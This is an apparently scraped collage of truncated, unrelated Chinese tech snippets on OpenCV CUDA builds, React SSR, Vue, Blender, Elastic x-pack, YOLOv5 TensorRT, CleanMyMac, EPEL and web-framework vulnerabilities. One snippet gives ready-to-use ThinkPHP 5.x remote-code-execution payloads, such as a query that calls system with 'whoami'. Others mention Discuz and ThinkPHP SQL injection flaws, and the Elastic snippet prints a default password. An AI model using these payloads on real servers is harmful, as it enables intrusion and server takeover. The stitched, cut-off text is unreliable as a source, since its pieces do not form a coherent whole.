可以说还没用CUDA加速就已经自我放弃啦! 所以周末我又重新编译了一遍,针对各种问题,帮大家理清了对策,帮助大家可以完成OpenCV+CUDA编译,实现性能加速! 软件版本信息: -Win10-VS2017-CMake 3.13.x-OpenCV 4.5.4-CUDA 11.0.x-cuDNN 8.2.0 OpenCV+CUDA编译 整个编译过程主要分为三步 OpenCV+CUDA配置与加速 基于最新编译好的OpenCV+CUDA支持的库,重新配置OpenCV开发环境,对比YOLOv5部署,CPU运行推理测试结果如下: 添加两行代码,启用GPU运行推理测试结果如下 对比一下,加速效果真得是杠杠滴!所以值得编译OpenCV+CUDA支持,因为它不光加速深度学习模型推理,对传统图像处理均有加速! DNN + YOLOv5 C++推理 OpenCV4.5.4 直接支持YOLOv5 6.1版本模型推理 OpenVINO2021.4+YOLOX目标检测模型部署测试 比YOLOv5还厉害的YOLOX
学习如何轻松构建可伸缩的 React 应用程序:服务端渲染 SSR # 什么是 SSR SSR(Server-Side Rendering,服务器端渲染)是指将 React、Vue、Angular 等客户端渲染的应用在服务器端执行一次 ,然后将渲染结果返回给浏览器进行展示的过程。 等)和页面数据一起返回给客户端,从而减少客户端的渲染工作量。 # 为什么使用 SSR 并不是每个应用程序都需要使用服务器端渲染。 预渲染有两种类型,即: 静态生成(Static Generation) 服务器端渲染(Server-side Rendering) # 静态生成 在构建时生成 HTML 页面,这些页面将在每个请求上重用
本文告诉大家如何在 UNO 里面,如何通过日志信息判断是否在 Linux 的 X11 平台上使用 OpenGL 渲染加速 本文的方法适用于 UNO 的 5.2.175 版本,其他版本还请大家自行测试 需要先开启 Uno.UI.Adapter.Microsoft.Extensions.Logging.LoggingAdapter.Initialize(); #endif } 可在 Program.cs 里添加测试代码,如下面代码,如果有命令行参数,则不开启 OpenGL 渲染加速 在开启 OpenGL 渲染加速时,可在控制台看到如下输出代码 trce: Uno.WinUI.Runtime.Skia.X11.X11OpenGLRenderer[0] Render 0 trce : Uno.WinUI.Runtime.Skia.X11.X11OpenGLRenderer[0] Render 1 trce: Uno.WinUI.Runtime.Skia.X11.X11OpenGLRenderer [0] Render 2 trce: Uno.WinUI.Runtime.Skia.X11.X11OpenGLRenderer[0] Render 3 通过阅读 UNO 的源代码
一、软件定位与特性Blender 是开源免费的3D创作套件,支持建模、动画、渲染、视频剪辑等全流程创作。 3.6 LTS 版本作为长期支持版,新增几何节点资产库、Cycles X 渲染加速等核心功能,适合影视特效、游戏开发、工业设计等领域。二、安装环境准备1. 脚本开发支持)Demo Files(学习案例文件)System Integration(右键菜单集成)步骤4:配置安装路径建议修改默认路径(示例):D:\CreativeTools\Blender3.6步骤5: 界面布局优化通过 Edit > Preferences > Interface 调整:缩放UI至125%(4K屏幕适配)启用 Auto-Save Preferences(每5分钟自动保存配置)2. 渲染引擎配置在 Render Properties 面板选择 Cycles 渲染器,开启GPU加速:import bpy bpy.context.preferences.addons['cycles']
1. 1.x与2.x的渲染区别 ---- Cocos Creator 1.x 是在cocos2d-js基础上增加了组件化与可视化编辑器,随着引擎不断迭代与进化,之前cocos2d-js的渲染设计制约了引擎的发展 ,因此Cocos Creatro2.x 丢下了原有的包袱,重新设计了底层渲染。 渲染树对比 通过下面的一些图我们对比一下1.x与2.x在渲染上的区别: ? 从上图可以看到,引擎中维护了一颗场景逻辑树(左边),需要时刻与渲染树(右边)进行数据同步。 在2.x使用了全新的设计,引擎内部只有一颗逻辑树,场景下包含节点,节点下挂载有渲染组件,简单清晰。因此在2.x中节点与组件对象中,不再有_sgNode这个变量了,使用时需要注意。 渲染流程 ---- 我们通过节点的transform为例对比1.x与2.x的渲染流程,请看下图: ?
DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>vue6</title> --vue会尽可能高速的渲染元素,通常是复用已有元素--> 20 <! --这样每次切换时,输入框都会被重新渲染--> 35 <template v-if="loginType==='username' "> 36 <label for="um1"> 这里再补充两点: 1.html中的<template>元素是一种保存客户端内容的机制,该内容在页面加载时不被渲染,但是运行时可以使用js实例化。 2.v-if与v-show的区别: v-show只是简单的切换css属性display,元素始终被渲染被保存在DOM中; v-show的切换开销相比v-if小,但是初始渲染开销比v-if大; 因此频繁切换
DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>vue6</title> --vue会尽可能高速的渲染元素,通常是复用已有元素--> 20 <! --这样每次切换时,输入框都会被重新渲染--> 35 <template v-if="loginType==='username' "> 36 <label for="um1"> 这里再补充两点: 1.html中的<template>元素是一种保存客户端内容的机制,该内容在页面加载时不被渲染,但是运行时可以使用js实例化。 2.v-if与v-show的区别: v-show只是简单的切换css属性display,元素始终被渲染被保存在DOM中; v-show的切换开销相比v-if小,但是初始渲染开销比v-if大; 因此频繁切换
ThinkPHP 5.x [路由控制不严谨] RCE 影响范围 ThinkPHP 5.0-5.0.23 ThinkPHP 5.1-5.1.31 Payload ? > # 远程代码命令执行 tp 5.1.x ?s=index/\think\Request/input&filter=system&data=whoami ? php%20phpinfo();> vars[0]的值是PHP的函数 vars[1][]的值是PHP的函数(vars[0])的参数 system(whoami) ThinkPHP 5.0.x [变量覆盖] RCE 影响范围 ThinkPHP 5.0.x 利用条件 Payload # tp 5.0.0 ~ 5.0.12 无条件触发(参数a可以替换成get[]/route[]等) _method
2 elastic elastic 4096 Apr 8 11:21 bin drwxr-xr-x 2 elastic elastic 4096 Mar 13 18:08 config drwxr-xr-x 2 elastic elastic 4096 Mar 13 18:08 logs drwxr-xr-x 16 elastic elastic 4096 Mar 13 18:08 modules -rw-r--r-- 1 elastic elastic 191887 Mar 13 18:07 NOTICE.txt drwxr-xr-x 2 elastic elastic 4096 Mar _64.tar.gz -C /opt [elastic@node1 ~] cd /opt [elastic@node1 opt] sudo mv kibana-5.6.5-linux-x86_64 添加如下内容: * soft nofile 65536 * hard nofile 131072 * soft nproc 2048 * hard nproc 4096 5、
Android4.0之后,系统默认开启硬件加速来渲染视图,之前,理解Android硬件加速的小白文简单的讲述了硬件加速的简单模型,不过主要针对前半阶段,并没怎么说是如何使用OpenGL、GPU处理数据的 对于Android APP而言,基于GPU的硬件加速绘制可以分为如下几个阶段: 第一阶段:APP在UI线程构建OpenGL渲染需要的命令及数据 第二阶段:CPU将数据上传(共享或者拷贝)给GPU,PC上一般有显存一说 Android OpenGL GPU 渲染 之前分析理解Android硬件加速的小白文的时候,已经分析过,ViewRootImpl的draw是入口,会调用HardwareRender的draw,先构建DrawOp 简单说就是先申请内存坑位,如果该坑位的内存需要重新分配,则再申请分配匿名共享内存,这里分配的内存才是EglSurface(Surface)绘制所需内存(硬件加速),接下来就可以通知OpenGL渲染绘制了 count &= ~0x1; <!
前言 前两篇博文分别讨论了YOLOv5检测算法的两种加速思路:采用多进程或批量检测,不过效果均收效甚微。本问将讨论使用TensorRT加速以及半精度推理/模型量化等优化策略对检测加速的实际影响。 测试环境 测试图片分辨率:13400x9528 GPU:RTX4090 Cuda:11.7 YOLOv5版本:最新版(v7.0+) 检测策略:将整张图片直接设置img_size为(1280x1280 )进行检测(忽略精度,只注重速度) 环境搭建 关于TensorRT的安装在之前博文【目标检测】使用TensorRT加速YOLOv5中已经写过,这里不作赘述。 engine)格式,主要需要改两个参数: --imgsz : default=[1280, 1280] --include :engine --device : 0 实验结论 下面是选用两张13400x9528 inference, 2.0ms NMS per image at shape (1, 3, 1280, 1280) 可以看到,转成TensorRT之后,推理(inference)时间确实如某些资料所述,加速了五倍以上
海归创业学院在第一期人工智能主题班成功经验基础上,今年强势联合科沃斯共同主办X 加速计划。 X加速计划 深圳第一期 上海第二期 同步开始招募 加速计划内容 PROJECT COURSE 加速计划流程 PROJECT SCHEDULE 备注:深圳、上海两地课程时间基本一致。 截止2018年5月10日,公司创立时间不超过5年; 4. 融资阶段在天使轮之后,B轮之前。 报名方式 若你想报名参加X加速计划,可通过以下方式报名: 点击左下角的“阅读原文”,在活动行的入口“我要报名”进行报名。 X加速计划仅针对创始人,创始人,创始人,重要的事情说三遍; 3. 加速计划不收取课程费用,活动期间餐费、住宿费、交通费、学杂费自理; 4.
: x = torch.relu(self.fc1(x)) x = self.fc2(x) return x # 准备训练数据 X_train 2.3.1 配置方案 使用Quadro系列专业图形渲染卡,或Tesla GPU配合CUDA。 CPU以Xeon E5系列为佳,主频越高越好。 需要大容量内存如64GB以上。 2.3.2 代码示例 python # 使用Blender Python API进行GPU渲染 import bpy # 切换Cycles渲染引擎 bpy.context.scene.render.engine bpy.context.scene.cycles.device = 'GPU' bpy.data.scenes['Scene'].render.tile_x = 512 bpy.data.scenes ,可实现GPU加速的3D模型渲染。
既然 Avalonia 优化不动,那就用 WPF 做加速层 由于 Avalonia 的渲染延迟非常高,我尝试优化了几波都改不动,我的伙伴们关于减少渲染延迟的提交也没有被合入到主干,因此我决定采用 WPF 作为加速层用来绘制笔迹 我发现 Avalonia 的合成渲染整个模块的逻辑复杂度很高,啃不动,且越来越认为这个渲染延迟是符合 Avalonia 设计的。 在 Linux 上,使用 X11 直接绘制笔迹的性能也比 Avalonia 绘制的渲染实时性高很多,但如果 Avalonia 肯上 SHM 和开启DirtyRects优化,还是能接近裸 X11 实时渲染的 我用不准确的测量,能够看到 Avalonia 比 WPF 落后 1-2 帧,有时候最多能落后 5 帧。这里说的落后几帧,不代表 Avalonia 掉帧,而是说对实时响应反馈到界面上的渲染实时性。 = WindowStyle.None; Background = new SolidColorBrush(new Color() { A = 0x5c
2、ElasticSearch5.x安装x-pack 安装过程中遇到选项直接Y过去就可以了 [elastic@node1 elasticsearch-5.6.5]$ bin/elasticsearch-plugin install x-pack -> Downloading x-pack from elastic [================================================= Apr 24 14:06 x-pack [elastic@node1 elasticsearch-5.6.5]$ 3、kibana安装x-pack 安装过程时间较长,耐心等待 [elastic@node1 kibana-5.6.5]$ bin/kibana-plugin install x-pack Attempting to transfer from x-pack Attempting to transfer ] Status changed from uninitialized to green - Ready 默认用户名和密码如下: 用户名:elastic 密码:changeme 5、
CleanMyMac 5(5.x) ——带 “X” 与不带 “X” 的全面技术差异解析 适读人群:Mac 系统运维、桌面管理工程师、DevOps、以及希望深入了解两代 CleanMyMac 产品技术演进的高级用户 CleanMyMac 5(5.x) 2024 Q4 回归纯数字序列,避免与 macOS X 混淆 主动开发:每 4–6 周滚动更新 2. 隐私保护 浏览器/聊天记录清除 + iCloud 临时缓存 & AirDrop 历史 私有 iCloud API Hook UI/UX 一栏式工具条 Sidebar + Card,深色自适应,Metal 渲染 Sur ✅ ✅ 5.x 推荐 macOS 12 Monterey 及以上 ✅(Rosetta 可用) ✅(原生 arm64 优化) 5.x 性能优势显著 企业批量部署 5.x 提供 MDO (Mobile ;5.x 生成的偏好为向前兼容格式,可无缝回退 8.
说明 原文链接 翻译:@adolphlwq 项目地址 这篇指南文章教你如何在RHEL/CentOS 7.x/6.x/5.x系统中开启EPEL仓库支持,以便你可以使用yum命令 安装额外的标准开源软件包。 /CentOS 5 32-Bit ## # wget http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm # rpm -ivh epel-release-5-4.noarch.rpm ## RHEL/CentOS 5 64-Bit ## # wget http://download.fedoraproject.org /pub/epel/5/x86_64/epel-release-5-4.noarch.rpm # rpm -ivh epel-release-5-4.noarch.rpm RHEL/CentOS 4 32 epel/x86_64 Extra Packages for Enterprise Linux 7 - x86_64
而在这一过程中,跨端渲染技术成为了关键瓶颈。腾讯X5内核增强版的出现,犹如一道曙光,为跨端渲染带来了全新的优化思路与解决方案,引领着行业迈向新的高度。 X5内核增强版采用了先进的多线程渲染技术,将渲染任务进行合理拆分,使不同的线程并行处理,大大提高了渲染效率。 X5内核增强版在图形处理方面进行了深度优化,为用户带来了更加震撼的视觉体验。X5内核增强版支持硬件加速的图形绘制,充分利用设备的GPU资源,提高图形渲染效率。 与传统的软件绘制方式相比,硬件加速大大减轻了CPU的负担,使应用能够更加高效地运行。此外,X5内核增强版还对图像的解码和缩放算法进行了优化。 腾讯X5内核增强版凭借其在渲染架构优化、资源管理、图形处理和兼容性解决等多方面的卓越表现,为跨端渲染带来了质的飞跃。
因为dz已经确定不会再修补7.x以前的漏洞了,所以直接贴细节吧 。 修补方法: 如果不方便升级到Discuz X的话,可以修改editpost.inc.php文件,增加一行: $key=addslashes($key);
复现 分析 TP 5.1.x 我们先来看一下正常的 SQL 查询流程。 ThinkPHP 提供了大量封装数据库操作的函数给开发者使用,但终究是要落实到生成 SQL 语句的。 $sort; } TP 3.2.3 这个版本就更简单了,相比 5 系列,连反引号都没有了。 总结 TP 3 这个注入还是挺实用的,TP 5 还需要继续研究下,如果不能获取到列名,很难利用。